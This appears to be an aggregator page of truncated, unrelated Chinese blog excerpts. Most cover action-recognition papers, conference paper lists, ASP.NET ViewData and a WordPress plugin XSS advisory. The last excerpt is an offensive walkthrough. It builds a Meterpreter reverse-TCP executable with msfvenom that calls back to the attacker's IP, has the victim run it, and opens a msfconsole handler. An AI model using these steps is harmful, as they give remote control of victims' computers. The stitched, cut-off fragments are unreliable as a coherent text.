论文标题:Multi-View Region Adaptive Multi-temporal DMM and RGB Action Recognition 来源/作者机构情况: 解决问题/主要思想贡献: 使用多角度训练,多时间适应训练,还有深度和RGB的结合,是的动作识别具有很强的鲁棒性 成果/优点: 1.在各类数据集中,都取得了不错的成绩 2.鲁棒性强 缺点: 感觉只是把目前各大算法组合在一起,没有根本上的创新 反思改进/灵感: ################################…

Two-Stream Adaptive Graph Convolutional Network for Skeleton-Based Action Recognition 摘要 基于骨架的动作识别因为其以时空结合图(spatiotemporal graph)的形式模拟了人体骨骼而取得了显著的效果. 在现有的基于图的方法中,图的拓扑结构是手动设置的,而且在所有层以及输入样本中是固定不变的.这样的方法在用在有层级CNN和不同输入样本的动作识别中不是最佳的. 而且骨架中的具有更多细节和判别式信息二级结…

简介 WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台.该平台支持在PHP和MySQL的服务器上架设个人博客网站.WordPress 插件是WordPress开源的一个应用插件. The Calendar Event Multi View WordPress Plugin 存在安全漏洞,该漏洞源于在1.4.01版本之前的此插件在将"start"和"end"GET参数输出到页面之前(通过php edit.php)没有清理或转义它们,导致了…

Spatial Temporal Graph Convolutional Networks for Skeleton-Based Action Recognition 2018-01-28  15:45:13  研究背景和动机: 行人动作识别(Human Action Recognition)主要从多个模态的角度来进行研究,即:appearance,depth,optical-flow,以及 body skeletons.这其中,动态的人类骨骼点 通常是最具有信息量的,且能够和其他模态进行互补.…

Spatial Temporal Graph Convolutional Networks for Skeleton-Based Action Recognition 摘要 动态人体骨架模型带有进行动作识别的重要信息,传统的方法通常使用手工特征或者遍历规则对骨架进行建模,从而限制了表达能力并且很难去泛化. 作者提出了一个新颖的动态骨架模型ST-GCN,它可以从数据中自动地学习空间和时间的patterns,这使得模型具有很强的表达能力和泛化能力. 在Kinetics和NTU-RGBD两个数据集上a…

如何实现refine的? 几何误差和阴影误差如何加到一起? 为了解决什么问题? 弱纹理或无纹理:单纯的多视图立体算法在物体表面弱纹理或者无纹理区域重建完整度不够高,精度也不够高,因此结合阴影恢复形状来重建物体表面的高频细节. 物体表面具有随空间变化的反照率的区域:使用双三次模型完成光滑表面面片的表达,从而隐式保证了模型对空间变化反照率区域的有效性. 能量方程权重因子:利用图像梯度,在梯度大的区域纹理丰富使用几何约束,梯度小的区域表面平坦均匀使用明暗阴影约束. 同样是利用图片中的阴影信息,是否有考…

结论: ViewData 适用于 在一次请求中 传递数据  . 比如我们从 主Action 到 主视图, 然后在 主视图中  用 RenderAction 请求子Action的时候,就是算作 一次请求. 场景,我们在 主页面中,有一个  login登陆模块,  我们判断,如果 用户是登陆的,那么就显示 账号密码,  如果用户没有登陆, 则显示 登陆框 先来看看 我们的代码先运行  /home/index  这个Action 然后到了前台之后, 前台的CShtml中 直接使用 Html.Rendy…

@http://www-cs-faculty.stanford.edu/people/karpathy/cvpr2015papers/ CVPR 2015 papers (in nicer format than this) maintained by @karpathy NEW: This year I also embedded the (1,2-gram) tfidf vectors of all papers with t-sne and placed them in an interf…

IEEE International Conference on Computer Vision, ICCV 2017, Venice, Italy, October 22-29, 2017. IEEE Computer Society 2017, ISBN 978-1-5386-1032-9 Oral Session 1 Globally-Optimal Inlier Set Maximisation for Simultaneous Camera Pose and Feature Corre…

在攻击服务器上生成连接软件,LHOST为攻击机IP地址 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o met.exe打开msfconsole控制台 将软件发给客户机上运行,此时kali上会有连接提示[mw_shl_code=applescript,true]root@qzwhost:~# msfconsole msfconsole > use exploit/multi/h…